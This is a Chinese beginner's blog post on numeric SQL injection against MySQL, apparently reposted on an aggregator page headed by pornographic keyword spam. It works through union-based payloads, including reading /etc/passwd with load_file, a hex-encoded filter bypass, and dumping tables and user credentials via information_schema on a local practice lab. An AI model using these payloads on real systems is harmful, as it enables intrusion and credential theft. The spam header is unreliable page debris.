日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

初学sql注入

發布時間:2023/12/14 编程问答 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 初学sql注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

2018/10/14
斷斷續續的學習web安全已經半個月了,寫這個博客的目的就是為了見證自己的成長吧,因為初學,可能有錯誤或不足,望包涵。

SQL注入的基礎知識:

單引號必須成對出現,否則數據庫就會報錯。
如果兩個單引號之間內容為空,數據庫自動忽略。
UNION查詢列數必須相同,數據類型必須兼容。

MYSQL常用的注釋:

‘#’
’ - - 空格或者- -+’
’ / * … */’

MySQL中常見的函數:

1.load_file():從計算機中載入文件,讀取文件中的數據。

例:elect * from users union select 1,load_file(’/etc/passwd’),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16進制繞過單引號限制

2.concat():返回結果為連接參數產生的字符串。如果其中一個參數為null,則返回值為null。
例:select concat(username,password)from users;

3.length():返回字符串的長度。
例:select length(“123456”) #返回6

數字型注入的步驟

在這里我用URL/?id=1來為例。
1.先判斷網頁是否可以被注入。可以看出這是一個動態URL,也就是說可以在地址欄中傳參,這是SQL注入的基本條件。

URL/?id=1‘ ①
URL/?id=1 and 1=1 ②
URL/?id=1 and 1=2 ③

如果②頁面正常且①③頁面報錯,那么可以判斷為該網頁存在URL注入且注入類型為數字型注入,id是一個注入點。

2.爆數據庫并判斷數據庫類型以及版本。
構造語句如下:URL/?id=1 and ord(mid(version(),1,1))>51
發現返回正常頁面,說明數據庫是MYSQL,并且版本大于4.0,支持union查詢,反之是4.0以下的版本或者其他類型數據庫。

3.爆字段。
URL/?id=1 order by 1
URL/?id=1 order by 2
…以此類推 直到頁面報錯,如果order by 5時候報錯,則說明字段數為4.

4.爆表。
URL/?id=1 and 1=2 union select 1,2,3,4
或者 URL/?id=-1 union select 1,2,3,4
頁面返回數字,假如為2,3,則說明數據儲存在2,3位,我們可以把2,3的位置替換為我們想要查詢的關鍵字,例如:數據庫名,用戶名,密碼等等。
具體操作:URL/?id=1 and 1=2 union select 1,2,database(),4 按下Enter 此時頁面會返回一個數據庫的名稱,同理還可以返回其他的你想要得到的內容。
如果要查某一表中的內容則操作如下:
URL/?id=1 and 1=2 union select 1,2,username from 表名

補充一點額外知識:提供一個SQL注入實驗室
http://localhost/btslab/vulnerability/ForumPosts.php?id=1
MYSQL中有個數據庫叫做information_schema,這個里有張表叫做tables,其中的table_name列儲存了所有數據庫中的所有表名,而table_schema則儲存著該表所在的數據庫名,group_concat()則可以把多項數據聯合成一個字符串http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
得到bts數據庫中的表。

2.MYSQL中有個數據庫叫做information_schema,這個里有張表叫做columns,其中的column_name列儲存了所有數據庫中的所有表的列名,而table_name列則儲存著該列所在的表名,table_schema列儲存著所在的數據庫名。
http://localhost/btslab/vulnerability/ForumPosts.php?id=1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘users’ and table_schema=database()
得到用戶名 和密碼。

總結

以上是生活随笔為你收集整理的初学sql注入的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。